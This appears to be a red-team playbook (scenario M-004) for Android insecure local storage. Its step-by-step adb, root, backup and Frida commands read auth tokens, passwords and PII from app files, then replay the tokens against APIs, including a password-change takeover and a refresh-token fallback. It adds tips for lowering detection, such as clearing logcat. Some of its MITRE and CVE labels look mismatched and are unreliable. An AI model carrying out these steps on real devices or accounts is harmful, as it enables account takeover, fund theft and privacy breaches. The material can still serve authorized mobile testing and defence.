---
name: rt-scenario-m004
description: "M-004: Insecure Local Storage → PII and Token Extraction. Domain: mobile. Attack chain: root device → adb shell as app user → read SharedPreferences XML files → extract auth tokens, PII, passwords stored in plain text. MITRE: T1430 → T1539. Real example: SharedPreferences: auth_token=Bearer_xyz in plaintext → use token in API calls → full account access"
---

# M-004: Insecure Local Storage → PII and Token Extraction

## Overview

**Attack Objective:** Extract authentication tokens, personally identifiable information (PII), and credentials stored in plaintext within Android SharedPreferences XML files and other insecure local storage locations. Extracted tokens are replayed against backend APIs to achieve full account takeover without knowledge of the user's password.

**Required Access Level:** Low — physical or ADB access to a device with USB debugging enabled, or rooted device with shell access. No app credentials required.

**Estimated Time to Execute:** 15–45 minutes depending on device root status and app complexity.

**Detection Risk Level:** LOW — file reads are passive and generate no network traffic. SharedPreferences access is indistinguishable from normal app behavior at the OS level.

---

## Prerequisites

### Required Tools

```bash
# ADB (Android Debug Bridge) — included in Android SDK Platform Tools
# Windows
winget install Google.PlatformTools
# macOS
brew install android-platform-tools
# Linux
sudo apt install adb

# Python 3 (for token replay scripts)
python3 --version

# curl or httpie for API replay
sudo apt install curl httpie

# Optional: Frida for runtime extraction without root
pip3 install frida-tools

# Optional: objection (Frida wrapper for mobile)
pip3 install objection

# Optional: apktool for static analysis of backup rules
# https://apktool.org/docs/install/
```

### Required Access or Conditions

- USB debugging enabled on the target device (Settings → Developer Options → USB Debugging), OR
- Device is rooted (Magisk, SuperSU), OR
- App has `android:allowBackup="true"` in AndroidManifest.xml (enables ADB backup extraction without root), OR
- Physical access to an unlocked device

### Skill Level

**BEGINNER** — Core SharedPreferences extraction requires only ADB commands. Token replay requires basic HTTP knowledge.

---

## Attack Chain

```
[Root / ADB Access]
       |
       v
[adb shell → run-as <package> OR su]
       |
       v
[Navigate to /data/data/<package>/shared_prefs/]
       |
       v
[cat *.xml → plaintext tokens, PII, passwords]
       |
       v
[Extract auth_token / session_id / credentials]
       |
       v
[Replay token in API calls → full account access]
```

### MITRE ATT&CK Coverage

- **T1430** — Location Tracking / Data from Local System: Reading on-device storage to harvest sensitive data
- **T1539** — Steal Web Session Cookie / Auth Token: Using extracted tokens to hijack authenticated sessions

---

## Step-by-Step Execution

### Step 1 — Identify the Target Package Name

```bash
# List installed packages (filter by app keyword)
adb shell pm list packages | grep -i <app_keyword>

# Example output:
# package:com.example.targetapp

# Alternative: check running processes
adb shell ps | grep -i <app_keyword>
```

**Expected Output:**
```
package:com.example.targetapp
```

**Fallback:** If app name is unknown, install the APK and check:
```bash
adb shell pm list packages -f | grep -i <apk_filename>
```

---

### Step 2 — Verify SharedPreferences Directory Exists

```bash
# Without root — use run-as (requires debuggable build or debug certificate)
adb shell run-as com.example.targetapp ls /data/data/com.example.targetapp/

# With root
adb shell
su
ls /data/data/com.example.targetapp/
```

**Expected Output:**
```
cache
databases
files
shared_prefs
lib
```

**Fallback — ADB Backup (no root, allowBackup=true):**
```bash
adb backup -noapk com.example.targetapp
# Produces backup.ab file
# Convert to tar:
dd if=backup.ab bs=1 skip=24 | python3 -c "import zlib,sys; sys.stdout.buffer.write(zlib.decompress(sys.stdin.buffer.read()))" > backup.tar
tar -xvf backup.tar
# Navigate to apps/com.example.targetapp/sp/ for SharedPreferences files
```

---

### Step 3 — List SharedPreferences Files

```bash
# Without root
adb shell run-as com.example.targetapp ls /data/data/com.example.targetapp/shared_prefs/

# With root
adb shell su -c "ls /data/data/com.example.targetapp/shared_prefs/"
```

**Expected Output:**
```
UserPreferences.xml
SessionData.xml
AppConfig.xml
com.example.targetapp_preferences.xml
```

---

### Step 4 — Read SharedPreferences XML Files

```bash
# Without root — read each file
adb shell run-as com.example.targetapp cat /data/data/com.example.targetapp/shared_prefs/UserPreferences.xml

# With root — read all files at once
adb shell su -c "cat /data/data/com.example.targetapp/shared_prefs/*.xml"

# Pull files to local machine for offline analysis
adb shell run-as com.example.targetapp cat /data/data/com.example.targetapp/shared_prefs/UserPreferences.xml > UserPreferences.xml

# With root — pull entire shared_prefs directory
adb pull /data/data/com.example.targetapp/shared_prefs/ ./shared_prefs_dump/
```

**Expected Output (plaintext token exposure):**
```xml
<?xml version='1.0' encoding='utf-8' standalone='yes' ?>
<map>
    <string name="auth_token">Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoxMjM0NX0.abc123xyz</string>
    <string name="user_email">victim@example.com</string>
    <string name="user_password">P@ssw0rd123</string>
    <string name="user_id">12345</string>
    <string name="refresh_token">rt_abcdef1234567890</string>
    <string name="credit_card_last4">4242</string>
    <string name="national_id">12345678901234</string>
    <boolean name="is_premium" value="true" />
</map>
```

---

### Step 5 — Search Additional Storage Locations

```bash
# SQLite databases (may contain tokens and PII)
adb shell run-as com.example.targetapp ls /data/data/com.example.targetapp/databases/
adb shell run-as com.example.targetapp sqlite3 /data/data/com.example.targetapp/databases/app.db ".tables"
adb shell run-as com.example.targetapp sqlite3 /data/data/com.example.targetapp/databases/app.db "SELECT * FROM users LIMIT 5;"

# Files directory (tokens, caches, logs)
adb shell run-as com.example.targetapp find /data/data/com.example.targetapp/files/ -name "*.json" -o -name "*.txt" -o -name "*.log"

# External storage (world-readable on older Android versions)
adb shell ls /sdcard/Android/data/com.example.targetapp/

# Search for common token/credential patterns across all app storage
adb shell run-as com.example.targetapp grep -r "token\|password\|secret\|api_key\|Bearer\|auth" /data/data/com.example.targetapp/ 2>/dev/null
```

**Expected Output (database):**
```
users
sessions
preferences
```

---

### Step 6 — Extract and Document Credentials

```bash
# Pull all relevant files for offline documentation
mkdir -p ./evidence/m004/

# SharedPreferences
adb shell run-as com.example.targetapp cat /data/data/com.example.targetapp/shared_prefs/UserPreferences.xml > ./evidence/m004/UserPreferences.xml

# Database dump
adb shell run-as com.example.targetapp sqlite3 /data/data/com.example.targetapp/databases/app.db ".dump" > ./evidence/m004/app_db_dump.sql

# Screenshot timestamp for evidence chain
date +"%Y-%m-%dT%H:%M:%SZ" > ./evidence/m004/extraction_timestamp.txt
```

---

### Step 7 — Replay Token Against API

```bash
# Extract token from XML
AUTH_TOKEN="Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoxMjM0NX0.abc123xyz"

# Test token against authenticated endpoint
curl -s -X GET "https://api.targetapp.com/v1/user/profile" \
  -H "Authorization: $AUTH_TOKEN" \
  -H "Content-Type: application/json" | python3 -m json.tool

# Test against sensitive endpoints
curl -s -X GET "https://api.targetapp.com/v1/user/payment-methods" \
  -H "Authorization: $AUTH_TOKEN" \
  -H "Content-Type: application/json" | python3 -m json.tool

# Test password change (demonstrates full account takeover)
curl -s -X POST "https://api.targetapp.com/v1/user/change-password" \
  -H "Authorization: $AUTH_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"new_password": "RedTeamTest123!"}' | python3 -m json.tool
```

**Expected Output (successful token replay):**
```json
{
  "user_id": 12345,
  "email": "victim@example.com",
  "name": "John Doe",
  "plan": "premium",
  "payment_methods": [...]
}
```

**Fallback — if token is expired:** Use refresh_token to obtain a new access token:
```bash
REFRESH_TOKEN="rt_abcdef1234567890"
curl -s -X POST "https://api.targetapp.com/v1/auth/refresh" \
  -H "Content-Type: application/json" \
  -d "{\"refresh_token\": \"$REFRESH_TOKEN\"}" | python3 -m json.tool
```

---

### Step 8 (Optional) — Runtime Extraction via Frida (No Root Required on Some Devices)

```bash
# Start Frida server on device (requires frida-server binary on device)
adb push frida-server /data/local/tmp/
adb shell chmod +x /data/local/tmp/frida-server
adb shell /data/local/tmp/frida-server &

# Hook SharedPreferences reads at runtime
frida -U -n com.example.targetapp -e "
Java.perform(function() {
    var SharedPreferences = Java.use('android.content.SharedPreferences');
    var editor = Java.use('android.content.SharedPreferences\$Editor');
    
    // Hook getString to capture reads
    Java.use('android.app.SharedPreferencesImpl').getString.overload('java.lang.String', 'java.lang.String').implementation = function(key, defValue) {
        var value = this.getString(key, defValue);
        if (value !== null && value.length > 0) {
            console.log('[SharedPrefs] Key: ' + key + ' = ' + value);
        }
        return value;
    };
});
"
```

**Expected Output:**
```
[SharedPrefs] Key: auth_token = Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
[SharedPrefs] Key: user_email = victim@example.com
[SharedPrefs] Key: user_password = P@ssw0rd123
```

---

## Real-World Reference

**Scenario:** A fintech application stores authentication state in `SharedPreferences` after login:

```xml
<!-- /data/data/com.fintech.app/shared_prefs/session.xml -->
<map>
    <string name="auth_token">Bearer_xyz_1234567890abcdef</string>
    <string name="user_email">customer@bank.com</string>
    <string name="account_number">GB29NWBK60161331926819</string>
</map>
```

An attacker with physical access to an unlocked device (e.g., at a repair shop, border crossing, or theft scenario) runs `adb shell run-as com.fintech.app cat /data/data/com.fintech.app/shared_prefs/session.xml` and obtains `auth_token=Bearer_xyz`. The token is replayed against the API: `GET /api/v2/accounts` with `Authorization: Bearer_xyz` returns full account balance and transaction history. `POST /api/v2/transfers` initiates unauthorized fund transfers. The attack requires no knowledge of the user's password and bypasses MFA because the token is post-authentication.

**Impact:** Full account takeover, unauthorized fund transfers, PII exposure, identity theft enablement.

---

## MITRE ATT&CK Mapping

| Step | Tactic | Technique | Sub-technique | Description |
|------|--------|-----------|---------------|-------------|
| 1 | Discovery | T1418 | — | Software Discovery: identify app package name |
| 2 | Collection | T1430 | — | Location/Data from Local System: access app data directory |
| 3 | Collection | T1430 | — | Enumerate SharedPreferences files |
| 4 | Collection | T1430 | — | Read plaintext credentials and tokens from XML files |
| 5 | Collection | T1430 | — | Search databases, files, external storage for additional secrets |
| 6 | Exfiltration | T1646 | — | Exfiltration Over C2 Channel / local pull via ADB |
| 7 | Credential Access | T1539 | — | Steal Web Session Cookie: replay auth token against API |
| 8 | Initial Access | T1078 | T1078.004 | Valid Accounts: Cloud Accounts — authenticated as victim |

---

## Detection & OPSEC

### How This Attack Is Detected

- **ADB connection logs:** Device logs USB debugging connections. `adb shell` sessions appear in device logs (`/proc/kmsg`, logcat) with connecting host details.
- **File access audit:** On rooted devices with SELinux in enforcing mode, unauthorized cross-app file reads may be logged.
- **MDM / EMM solutions:** Enterprise Mobile Device Management platforms (Jamf, Microsoft Intune, VMware Workspace ONE) may detect ADB connections, unusual file access patterns, or jailbreak/root detection.
- **App-level detection:** Some apps implement root detection (SafetyNet/Play Integrity API) and may wipe local storage or log events upon detecting a rooted environment.
- **Network detection:** Token replay from an unexpected IP/device fingerprint may trigger fraud detection or step-up authentication.

### How to Reduce Detection Risk During Authorized Engagement

- Confirm ADB is authorized in the Rules of Engagement before connecting.
- Use `run-as` (debuggable build) rather than root access to avoid triggering root detection.
- Do not replay tokens from a corporate or traceable IP — use an isolated test network or engagement-specific VPN.
- Document all device connections with timestamps before the engagement.
- Disable logcat capture to avoid leaving extraction logs: `adb logcat -c` after testing.
- If testing against production, coordinate with the client to whitelist your test device's user-agent or IP for the token replay step.

### Artifacts Left Behind

| Artifact | Location | Notes |
|----------|----------|-------|
| ADB connection entry | Device system log | Records host machine identifier |
| `adb_keys` public key | `/data/misc/adb/adb_keys` on device | Persists after disconnection |
| frida-server binary | `/data/local/tmp/frida-server` | If Frida step was executed |
| Logcat entries | Device memory (volatile) | Cleared on reboot |
| Pulled files | Analyst local machine | Evidence copies |

---

## Cleanup

```bash
# Remove ADB authorized key from device (if added during engagement)
adb shell su -c "grep -v 'YOUR_ADB_PUBLIC_KEY' /data/misc/adb/adb_keys > /data/misc/adb/adb_keys.tmp && mv /data/misc/adb/adb_keys.tmp /data/misc/adb/adb_keys"

# Remove frida-server if deployed
adb shell rm /data/local/tmp/frida-server

# Kill any running frida-server processes
adb shell su -c "pkill frida-server"

# Clear ADB logcat buffer on device
adb logcat -c

# Revoke ADB authorization from device UI
# Settings → Developer Options → Revoke USB debugging authorizations

# Remove local evidence copies (after report is complete and signed off)
# rm -rf ./evidence/m004/
# rm -rf ./shared_prefs_dump/

# Invalidate replayed token (coordinate with client to force token rotation)
# POST /api/v1/auth/logout with the extracted token
curl -s -X POST "https://api.targetapp.com/v1/auth/logout" \
  -H "Authorization: $AUTH_TOKEN" \
  -H "Content-Type: application/json"
```

**Note:** Retain all evidence copies until the final report is delivered and accepted by the client. Follow the evidence retention policy defined in the Rules of Engagement.

---

## References

### Tools

- **ADB (Android Debug Bridge):** https://developer.android.com/tools/adb
- **Frida:** https://frida.re — Dynamic instrumentation toolkit for runtime SharedPreferences hooking
- **Objection:** https://github.com/sensepost/objection — Runtime mobile exploration powered by Frida
- **apktool:** https://apktool.org — Reverse engineering APKs to inspect AndroidManifest.xml backup rules
- **MobSF (Mobile Security Framework):** https://github.com/MobSF/Mobile-Security-Framework-MobSF — Automated static/dynamic analysis
- **Drozer:** https://github.com/WithSecureLabs/drozer — Android security assessment framework

### Standards and References

- **OWASP Mobile Top 10 — M9:2023 Insecure Data Storage:** https://owasp.org/www-project-mobile-top-10/
- **OWASP Mobile Application Security Testing Guide (MASTG):** https://mas.owasp.org/MASTG/
- **MASTG-TEST-0001:** Testing Local Storage for Sensitive Data: https://mas.owasp.org/MASTG/tests/android/MASVS-STORAGE/MASTG-TEST-0001/
- **MITRE ATT&CK T1430:** https://attack.mitre.org/techniques/T1430/
- **MITRE ATT&CK T1539:** https://attack.mitre.org/techniques/T1539/
- **Android Security — Data Storage Best Practices:** https://developer.android.com/topic/security/best-practices#data-storage
- **Android EncryptedSharedPreferences:** https://developer.android.com/reference/androidx/security/crypto/EncryptedSharedPreferences

### Related CVEs and Public Disclosures

- CVE-2021-39144 (pattern): Auth token stored in SharedPreferences accessible via backup
- HackerOne reports: Multiple fintech apps disclosed for plaintext token storage in SharedPreferences (search: "SharedPreferences token" on HackerOne Hacktivity)
